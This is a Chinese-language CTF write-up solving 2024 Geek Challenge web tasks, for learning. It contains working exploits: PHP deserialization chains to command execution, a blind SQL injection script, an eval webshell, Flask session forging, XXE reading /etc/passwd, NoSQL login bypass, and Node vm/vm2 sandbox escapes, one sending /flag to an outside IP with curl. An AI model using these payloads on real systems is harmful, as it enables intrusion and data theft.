43
44
45
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
    public $file;
    public function Sink()
    {
        echo "<br>!!!A GREAT STEP!!!<br>";
        echo "Is there any file?<br>";
        if(file_exists($this->file)){
            global $FLAG;
            echo $FLAG;
        }
    }
}

class Geek{
    public $a;
    public $b;
    public function __unserialize(array $data): void
    {
        $change=$_GET["change"];
        $FUNC=$change($data);
        $FUNC();
    }
}

class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
    public function __toString()
    {
        echo "__toString is called<br>";
        $eee=new $this->Where($this->IS);
        $fff=$this->Starven;
        $eee->$fff($this->Girlfriend);
       
    }
}

unserialize($_POST['data']);

非预期:array_shift和implode直接触发toString

这里起点肯定是__unserialize,这个方法里面可以看到有 $FUNC();而且还是可控的,所以可以构造phpinfo().如何构造呢?可以传入changearray_shift(删除数组中的第一个元素,并返回被删除的元素:),PHP array_shift() 函数 | 菜鸟教程,然后data传phpinfo

$data 默认包含所有 public 属性ab),但 不强制要求 都必须传入值)代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
class Geek
{
    public $a;
    public $b;
}

class Syclover
{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
}

$a=new Geek();

$a->a="phpinfo";
echo serialize($a);

发现环境压根没有flag。

image-20250726201401201

(当然这里change也可以用implode:回由数组元素组合成的字符串,其实就是打印数组中的元素PHP implode() 函数

没有flag,这里我们肯定是想着继续往下走,那肯定要走到__toString里面去才有操作空间,而我们只需要将Geek的$a(也就是array $data第一个元素)赋值为new Syclover(),array_shiftimplode就可以触发了__toString了(都将对象当字符串处理)。接下来呢?

我们怎么对下面操作?题目说php不必java差,很容易想到java的反射机制,这就要用到一个原生类ReflectionFunction

1
2
3
        $eee=new $this->Where($this->IS);
        $fff=$this->Starven;
        $eee->$fff($this->Girlfriend);

其可以用函数invoke。

image-20250726203927833

PHP: ReflectionFunction::invoke - Manual

exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Geek
{
    public $a;
    public $b;
}

class Syclover
{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
}

$a=new Geek();
$a->a=new Syclover();
$a->a->Where="ReflectionFunction";
$a->a->IS="system";
$a->a->Starven="invoke";
$a->a->Girlfriend="file -f /flag"; //rce后发现读不了flag,根目录有hint.txt,提示我们要提权,打find / -user root -perm -4000 -print 2>/dev/null后发现可以file有suid权限,之后打file -f /flag就行


echo serialize($a);
image-20250726205320998 image-20250726205522132

file | GTFOBins

其也可以调用函数invokeArgs

image-20250726202630905

PHP: ReflectionFunction::invokeArgs - Manual

只不过执行命令需要借助call_user_func函数(了解php中call_user_func 与 call_user_func_array的使用及区别-CSDN博客),不多说,直接上exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Geek
{
    public $a;
    public $b;
}

class Syclover
{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
}

$a=new Geek();
$a->a=new Syclover();
$a->a->Where='ReflectionFunction';
$a->a->IS='call_user_func';
$a->a->Starven='invokeArgs';
$a->a->Girlfriend=array('system','file -f /flag');


echo serialize($a);

不过这是我看了别人的wp写的,没用到Challenge中的Sink,看了wp的解法**。**

预期:利用数组进行对象的类的调用+file_exists触发__toString

利用数组进行对象的类的调用进入到Sink,不过注意此处返回的数组($data)为一个关联形的数组

image-20250726211912955

利用 $FUNC() 进行数组调用类的方法时需要注意,该数组类型应该为索引数组

image-20250726212338722

将关联形数组转变为索引数组,此处采用 array_values 取关联形数组的值转变为索引数组

PHP: array_values - Manual

然后到了Sink里面,file_exists其会把传入的变量作为字符串类型去处理,因此当传入一个类时也会把类作为string类型进行处理,从而自动触发对应类当中的 __toString 魔术方法,后面就一样了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
    public $file;
    public function Sink()
    {
        echo "<br>!!!A GREAT STEP!!!<br>";
        echo "Is there any file?<br>";
        if(file_exists($this->file)){
            global $FLAG;
            echo $FLAG;
        }
    }
}

class Geek{
    public $a;
    public $b;
    public function __unserialize(array $data): void
    {
        $change=$_GET["change"];
        $FUNC=$change($data);
        $FUNC();
    }
}

class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
    public function __toString()
    {
        echo "__toString is called<br>";
        $eee=new $this->Where($this->IS);
        $fff=$this->Starven;
        $eee->$fff($this->Girlfriend);
       
    }
}

$a=new Geek();
$a->a=new Challenge();
$a->b="Sink";
$a->a->file=new Syclover();
$a->a->file->Where='ReflectionFunction';
$a->a->file->IS='call_user_func';
$a->a->file->Starven='invokeArgs';
$a->a->file->Girlfriend=array('system','file -f /flag');


echo serialize($a);
1
总结:此题还是学到很多,先是知道了可以利用数组进行对象的类的调用,还知道了implode与array_shiftfile_exists可以触发toString魔术,最主要是学到了利用`ReflectionFunction`反射调用system来rce

从一道ctf题看php原生类 | Ethe’s blog

funnySQL

考点:过滤sleep(benchmark)与or(mysql.innodb_table_stats 查表)与ascii,ord(hex代替)+time.time()精准测量延时

简单fuzz发现过滤了and,or,sleep,–+,空格。发现页面没啥回显,应该是时间盲注

1
1'/**/||/**/if(1>0,benchmark(1000000,sha(1)),0)#

sleep过滤了还有其它方法,我用代码测试发现benchmark(10000000,sha(1))大概是11秒多

MySQL时间盲注五种延时方法 (PWNHUB 非预期解) - 卿先生 - 博客园

发现ascii,ord也过滤了,那就用hex,手动构造有

1
1'||if((HEX(substr((SELECT/**/database()),1,1))>HEX(CHAR(32))),benchmark(10000000,sha1(1)),0)#

发现有延时,那就直接打

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
注意
1.由于or过滤了意味着information和performance这俩库都查不了了所以我们只能通过mysql.innodb_table_stats 来查到表名然后这个没有列名所以搜完表直接就可以搜了
2. 写代码发送#和 %23 的区别
# 是HTML中的片段标识符(不会发送到服务器)
%23  # 的URL编码形式(会作为数据发送到服务器)
当使用 # 时:
http://example.com/index.php?username=payload#
浏览器会截断 # 及之后的内容,服务器收到的实际请求是:
http://example.com/index.php?username=payload
导致SQL语句不完整,%23就解决了

完整代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

url = "http://80-2bacb1b5-968c-413a-9c20-16a355e7b8af.challenge.ctfplus.cn/index.php"
result = ''
i = 0

while True:
    i += 1
    head = 32
    tail = 127
    for j in range(head, tail):

        # 方法1:十六进制比较
        #payload= f"?username='||if((HEX(substr((SELECT/**/database()),{i},1))/**/like/**/HEX(CHAR({j}))),benchmark(10000000,sha1(1)),0)%23"    #syclover
        #payload= f"?username='||if((HEX(substr((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'syclover'),{i},1))/**/like/**/HEX(CHAR({j}))),benchmark(10000000,sha1(1)),0)%23" #Rea11ys3ccccccr3333t
        payload= f"?username='||if((HEX(substr((select/**/*/**/from/**/Rea11ys3ccccccr3333t),{i},1))/**/like/**/HEX(CHAR({j}))),benchmark(10000000,sha1(1)),0)%23"

        start = time.time()
        r = requests.get(url + payload)
        if time.time() - start > 2:
                result += chr(j)
                print(f"Found char: {chr(head)}, Current: {result}")
                break
image-20250723205053587

上面是根据wp的方法仿造的,但是太慢了,我用二分法写写试试(一开始用二分法没写出来)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time

url = "http://80-2bacb1b5-968c-413a-9c20-16a355e7b8af.challenge.ctfplus.cn/index.php"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        #payload = f'SELECT/**/database()'    #查一下默认数据库

        #payload = f'select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'syclover'#查表

        payload = f'select/**/*/**/from/**/Rea11ys3ccccccr3333t'


        payload_1= f"?username='||if((HEX(substr(({payload}),{i},1))/**/>/**/HEX(CHAR({mid}))),benchmark(10000000,sha1(1)),0)%23"

        start = time.time()
        r = requests.get(url + payload_1)
        if time.time() - start > 2:
            head=mid+1
        else:
            tail=mid


    result += chr(head)
    print(result)

发现二分法其实也很慢,感觉差不多啊。

注意,这里所有的代码没有用try-except的延时判断方式,网络波动影响容易误判

1
2
3
4
5
        try:
            r = requests.get(url + payload_1, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

而是用time.time()这种精准直接测量延迟,这样越加准确

1
2
3
4
5
6
        start = time.time()
        r = requests.get(url + payload_1)
        if time.time() - start > 2:
            head=mid+1
        else:
            tail=mid

写完后看看wp的黑名单,看起来很简单,但是做起来却难了。

1
2
3
if(preg_match('/and|or| |\n|--|sleep|=|ascii/i',$str)){
die('不准用!');
}

not_just_pop

考点:蚁剑插件绕过disable_function

拿到题目如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
    public $Do;
    public $You;
    public $love;
    public $web;
    public function __invoke()
    {
        echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
        eval($this->web);
    }
    public function __wakeup()
    {
        $this->web=$this->love;
    }
    public function __destruct()
    {
        die($this->You->execurise=$this->Do);
    }

}

class Parar{
    private $execurise;
    public $lead;
    public $hansome;
    public function __set($name,$value)
    {
        echo $this->lead;
    }
    public function __get($args)
    {
        if(is_readable("/flag")){
            echo file_get_contents("/flag");
        }
        else{
            echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
            if ($this->execurise=="man!") {
                echo "居然没坠机"."<br>";
                if(isset($this->hansome->lover)){
                    phpinfo();
                }
            }
            else{
                echo($this->execurise);
                echo "你也想被肘吗"."<br>";
            }
        }
    }
}

class Starven{
    public $girl;
    public $friend;
    public function __toString()
    {
        return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
    }
    public function __call($args1,$args2)
    {
        $func=$this->friend;
        $func();
    }

}
class SYC{
    private $lover;
    public  $forever;
    public function __isset($args){
        return $this->forever->nononon();
    }

}


$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
    unserialize(base64_decode($Syclover));//unserialize() 返回的对象没有被赋值给变量,因此它立即成为临时对象,PHP 会销毁它,触发 __destruct,所以这里不需要走GC垃圾回收触发 __destruct
    throw new Exception("None");
}else{
    echo("怎么不给我呢,是不喜欢吗?");
}
怎么不给我呢,是不喜欢吗?

链子很简单

1
__destruct->__set->__toString->__get->__isset->__call->__invoke
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php

ini_get('open_basedir');

class lhRaMK7{
    public $Do;
    public $You;
    public $love;
    public $web;
    public function __invoke()
    {
        echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
        eval($this->web);
    }
    public function __wakeup()
    {
        $this->web=$this->love;
    }
    public function __destruct()
    {
        echo "1111"."\n";
        die($this->You->execurise=$this->Do);
    }

}

class Parar{
    private $execurise="man!";
    public $lead;
    public $hansome;
    public function __set($name,$value)
    {
        echo "222"."\n";
        echo $this->lead;
    }
    public function __get($args)
    {
        if(is_readable("/flag")){
            echo file_get_contents("/flag");
        }
        else{
            echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
            if ($this->execurise=="man!") {
                echo "居然没坠机"."<br>"."\n";
                if(isset($this->hansome->lover)){
                    phpinfo();
                }
            }
            else{
                echo($this->execurise);
                echo "你也想被肘吗"."<br>";
            }
        }
    }
}

class Starven{
    public $girl;
    public $friend;
    public function __toString()
    {
        echo "333"."\n";
        return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
    }
    public function __call($args1,$args2)
    {
        echo "555"."\n";
        $func=$this->friend;
        $func();
    }

}
class SYC{
    private $lover;
    public  $forever;
    public function __isset($args){
        echo "444"."\n";
        return $this->forever->nononon();
    }

}


$a=new lhRaMK7();
$a->You=new Parar();
$a->You->lead=new Starven();
$a->You->lead->girl=new Parar();
$a->You->lead->girl->hansome=new SYC();
$a->You->lead->girl->hansome->forever=new Starven();
$a->You->lead->girl->hansome->forever->friend=new lhRaMK7();
$a->You->lead->girl->hansome->forever->friend->love='eval($_POST[1]);';#不能直接赋值给web,否则反序列化后wakeup中love给web赋值为空,所以直接给love赋值

echo serialize($a)."\n";
echo base64_encode(serialize($a))."\n";

开始执行phpinfo();,发现disable_function如下,那就打入一句话木马那就用蚁剑插件连。

1
exec,system,shell_exec,popens,popen,curl_exec,curl_multi_exec,proc_open,proc_get_status,,readfile,unlink,dl,memory_get_usage,dl,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,linkopen_basedir 
image-20250727152311365

绕过disable_functions的限制 - DumpInfou - 博客园

py_game

session伪造(flask-unsign爆破密钥)+pyhton污染链污染xxe

先用一个session爆破工具爆破密钥

1
pip install flask-unsign[wordlist]
1
flask-unsign --cookie "eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoicm9vdCJ9.aJB0Mw.krczhtlgwpj6oMGclmTgGPWPHuc" --unsign

image-20250804170647341

然后再session伪造登进admin页面

1
flask-unsign --sign --cookie "{'_flashes': [('success', '登录成功')], 'username': 'admin'}" --secret "a123456"

image-20250804171101563

先pycdc反编译

1
.\pycdc app.pyc
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify

app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '''<?xml version="1.0" encoding="UTF-8"?>
<GeekChallenge2024>
    <EventName>Geek Challenge</EventName>
    <Year>2024</Year>
    <Description>This is a challenge event for geeks in the year 2024.</Description>
</GeekChallenge2024>'''

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def check(self, data):
        return self.username == data['username'] and self.password == data['password']

admin = User('admin', '123456j1rrynonono')
Users = [admin]

def update(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and isinstance(v, dict):
                update(v, dst.get(k))
            else:
                dst[k] = v
        if hasattr(dst, k) and isinstance(v, dict):
            update(v, getattr(dst, k))
            continue
        setattr(dst, k, v)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.username == username:
                flash('用户名已存在', 'error')
                return redirect(url_for('register'))
        new_user = User(username, password)
        Users.append(new_user)
        flash('注册成功,请登录', 'success')
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.check({'username': username, 'password': password}):
                session['username'] = username
                flash('登录成功', 'success')
                return redirect(url_for('dashboard'))
        flash('用户名或密码错误', 'error')
        return redirect(url_for('login'))
    return render_template('login.html')

@app.route('/play', methods=['GET', 'POST'])
def play():
    if 'username' in session:
        with open('templates/play.html', 'r', encoding='utf-8') as file:
            play_html = file.read()
        return play_html
    flash('请先登录', 'error')
    return redirect(url_for('login'))

@app.route('/admin')
def admin_panel():
    if 'username' in session and session['username'] == 'admin':
        return render_template('admin.html', username=session['username'])
    flash('你没有权限访问', 'error')
    return redirect(url_for('login'))

@app.route('/dashboard')
def dashboard():
    if 'username' in session:
        return render_template('dashboard.html', username=session['username'])
    flash('请先登录', 'error')
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(debug=True)

直接打污染链+xxe就行

标准的xxe是

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

此题打污染链是(玩游戏时抓包提示flag在/flag)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
    "\u005F\u005Finit__": {
        "\u005F\u005Fglobals__": {
            "app": {
                "config": {
                    "xml_data": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE foo [\n    <!ENTITY xxe SYSTEM \"F\u0069\u006C\u0065:///flag\">\n]>\n<foo>&xxe;</foo>"
                }
            }
        }
    }
}

注意Content-Type是json

image-20250805175518477

最后访问/xml_parse拿到flag(后面发现这里甚至不需要file:///flag,直接/flag就行)image-20250805203804801

极客大挑战2024复现 - 0raN9e的笔记

noSandbox

nosql注入(永真式绕过)+vm沙箱逃逸之Proxy代理绕过Object.create

题目说了芒果DB,很容易想到nosql注入。利用永真式绕过登入

Nosql 注入从零到一-先知社区

由于会302跳转,用谷歌的hackbar发送json数据{"username":{"$ne":1},"password":{"$ne":1}}-

image-20250806181415891

来看看源码,一眼沙箱逃逸,且是利用vm沙箱Proxy代理绕过Object.create(null)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//泄露的代码执行和WAF部分代码,不能直接运行

const vm = require('vm');

function waf(code,res) {
    let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m;
    if (code.match(pattern)) {
        console.log('WAF detected malicious code');
        res.status(403).send('WAF detected malicious code');
        exit();
    }
}


app.post('/execute', upload.none(), (req, res) => {
    let code = req.body.code;
    const token = req.cookies.token;

    if (!token) {
        return res.status(403).send('Missing execution code credentials.');
    }
    if (!jwt.verify(token, JWT_SECRET)) {
        return res.status(403).send('Invalid token provided.');
    }

    console.log(`Received code for execution: ${code}`);

    try {
        waf(code,res);
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);

        let script = new vm.Script(code);
        console.log('Executing code in sandbox context');
        script.runInContext(context);

        console.log(`Code executed successfully. Result: ${sandbox.result || 'No result returned.'}`);
        res.json('Code executed successfully' );
    } catch (err) {
        console.error(`Error executing code: ${err.message}`);
        res.status(400).send(`Error: there's no display back here,may be it executed successfully?`);
    }
});

把waf关了测测怎么能逃逸

image-20250806211229943

测试代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const vm =require('vm');

let code=`throw new Proxy({}, {
    get: function(){
        const cc = arguments.callee.caller;

         //cc获取到了调用他的函数console.log

        const p = (cc.constructor.constructor('return process'))();

        //这里通过获取构造函数获取了构造函数Function
      //值得注意的是构造函数Function的构造函数还是他本身,所以这里多一个constructor无伤大雅
      
        return p.mainModule.require('child_process').execSync('calc').toString();
    }
})`;

try {
   
    let sandbox = Object.create(null);
    let context = vm.createContext(sandbox);

    let script = new vm.Script(code);
    console.log('Executing code in sandbox context');
    script.runInContext(context);

    console.log(`Code executed successfully. Result: ${sandbox.result || 'No result returned.'}`);
    res.json('Code executed successfully' );
} catch (err) {
    console.error(`Error executing code: ${err.message}`);
   
}

这文章讲的很好VM及VM2沙箱逃逸及对特殊情况的处理办法-先知社区

现在来绕过waf,过滤了一些关键字以及’"+\和[],关键词过滤没什么用,可以用tolowercase进行大小写绕过关键词过滤(toUpperCase() 方法用于把字符串转换为大写。)

exp如下

1
2
3
4
5
6
7
8
9
throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor(`return proceSs`.toLowerCase()))();
            const obj = p.mainModule.require(`child_proceSs`.toLowerCase());
            const ex = Object.getOwnPropertyDescriptor(obj, `exeC`.toLowerCase());
            return ex.value(`curl -T /flag  101.200.39.193:5000`).toString();
        }
    })

Object.getOwnPropertyDescriptor() 静态方法返回一个对象,具体看下文

Object.getOwnPropertyDescriptor() - JavaScript | MDN

image-20250806215915923

极客大挑战 web week3&week4-先知社区

escapeSandbox_PLUS

也给了源码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// 引入所需模块
const express = require('express'); // Express框架
const bodyParser = require('body-parser'); // 请求体解析中间件
const session = require('express-session'); // 会话管理中间件
const multer = require('multer'); // 处理multipart/form-data的中间件
const { VM } = require('vm2'); // 创建安全沙箱环境的模块
const crypto = require('crypto'); // 加密模块
const path = require('path'); // 路径处理模块

// 创建Express应用实例
const app = express();

// 配置中间件
app.use(bodyParser.json()); // 解析JSON格式请求体
app.use(bodyParser.urlencoded({ extended: true })); // 解析URL编码的请求体

// 设置静态文件目录(public文件夹)
app.use(express.static(path.join(__dirname, 'public')));

// 生成随机会话密钥(64字节转16进制字符串)
const sessionSecret = crypto.randomBytes(64).toString('hex');
// 配置会话中间件
app.use(session({
    secret: sessionSecret, // 加密会话ID的密钥
    resave: false, // 强制将会话保存回存储
    saveUninitialized: true, // 保存未初始化的会话
}));

// 配置multer(用于文件上传,但实际路由中未使用)
const upload = multer();

// 登录路由 - 处理用户认证
app.post('/login', (req, res) => {
    const { username, passwd } = req.body; // 获取请求中的用户名和密码

    /**
     * 特殊登录条件:
     * 1. 用户名的小写形式不能是'syclover'
     * 2. 用户名的大写形式必须是'SYCLOVER'
     * 3. 密码必须是'J1rrY'
     */
    if (username.toLowerCase() !== 'syclover' && username.toUpperCase() === 'SYCLOVER' && passwd === 'J1rrY') {
        req.session.isAuthenticated = true; // 设置会话认证标志
        res.json({ message: '登录成功' });
    } else {
        res.status(401).json({ message: '无效凭证' });
    }
});

// 认证中间件 - 检查用户是否已登录
const isAuthenticated = (req, res, next) => {
    if (req.session.isAuthenticated) {
        next(); // 已认证,继续后续处理
    } else {
        res.status(403).json({ message: '未认证' });
    }
};

// 代码执行路由(需要认证)
app.post('/execute', isAuthenticated, upload.none(), (req, res) => {
    let code = req.body.code; // 获取要执行的代码

    let flag = false;
    
    /**
     * 代码混淆处理:
     * 遍历代码字符串,将特定字符替换为星号(*)
     * 这似乎是一种安全措施,防止使用某些字符
     */
    for (let i = 0; i < code.length; i++) {
        if (flag || "/(abcdefghijklmnopqrstuvwxyz123456789'\".".split``.some(v => v === code[i])) {
            flag = true;
            code = code.slice(0, i) + "*" + code.slice(i + 1, code.length);
        }
    }

    try {
        // 创建安全的VM沙箱环境(限制访问权限)
        const vm = new VM({
            sandbox: {
                require: undefined, // 禁用require()
                setTimeout: undefined, // 禁用setTimeout()
                setInterval: undefined, // 禁用setInterval()
                clearTimeout: undefined, // 禁用clearTimeout()
                clearInterval: undefined, // 禁用clearInterval()
                console: console // 允许使用console
            }
        });

        // 在沙箱中执行代码
        const result = vm.run(code.toString());
        console.log('执行结果:', result);
        res.json({ message: '代码执行成功', result: result });

    } catch (e) {
        // 处理执行过程中出现的错误
        console.error('执行错误:', e);
        res.status(500).json({ error: '代码执行出错', details: e.message });
    }
});

// 根路由 - 返回首页
app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

// 全局异常捕获(未捕获的异常)
process.on('uncaughtException', (err) => {
    console.error('捕获到未处理的异常:', err);
    // 注意:除非特别处理,否则进程通常会在此处退出
});

// 全局Promise拒绝捕获(未处理的Promise拒绝)
process.on('unhandledRejection', (reason, promise) => {
    console.error('捕获到未处理的Promise错误:', reason);
});

// 模拟错误(用于测试错误处理)
setTimeout(() => {
    throw new Error("模拟的错误"); // 模拟同步错误
}, 1000);

setTimeout(() => {
    Promise.reject(new Error("模拟的Promise错误")); // 模拟Promise拒绝
}, 2000);

// 启动服务器,监听3000端口
app.listen(3000, () => {
    console.log('服务器正在3000端口运行');
});

利用Unicode大小写转换不一致性 特殊字符 ſ(U+017F,长s字符),它小写形式是 ſ(不等于 “s”),大写形式会变成 S

image-20250809154731388

所以登入有:ſyclover/J1rrY

之后就打vm2逃逸https://github.com/patriksimek/vm2/security,这里打第一个就行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = { 
    [customInspectSymbol]: (depth, opt, inspect) => { 
        inspect.constructor('return process')().mainModule.require('child_process').execSync('cat /f* >/app/public/1.txt'); 
    }, 
    valueOf: undefined,
    constructor: undefined, 
}

WebAssembly.compileStreaming(obj).catch(()=>{}); 

当然还一个waf,数组绕过code.length 和 code.slice 的判断就行(code[0]是整个字符串,不在黑名单里(黑名单只检查单字符),所以不会被替换。)

1
2
3
4
5
6
    for (let i = 0; i < code.length; i++) {
        if (flag || "/(abcdefghijklmnopqrstuvwxyz123456789'\".".split``.some(v => v === code[i])) {
            flag = true;
            code = code.slice(0, i) + "*" + code.slice(i + 1, code.length);
        }
    }
image-20250809161009365

然后访问1.txt就行

至此:2024极客写完,学到很多东西,零零散散着学,浪费不少时间 –8月9日

谢谢观看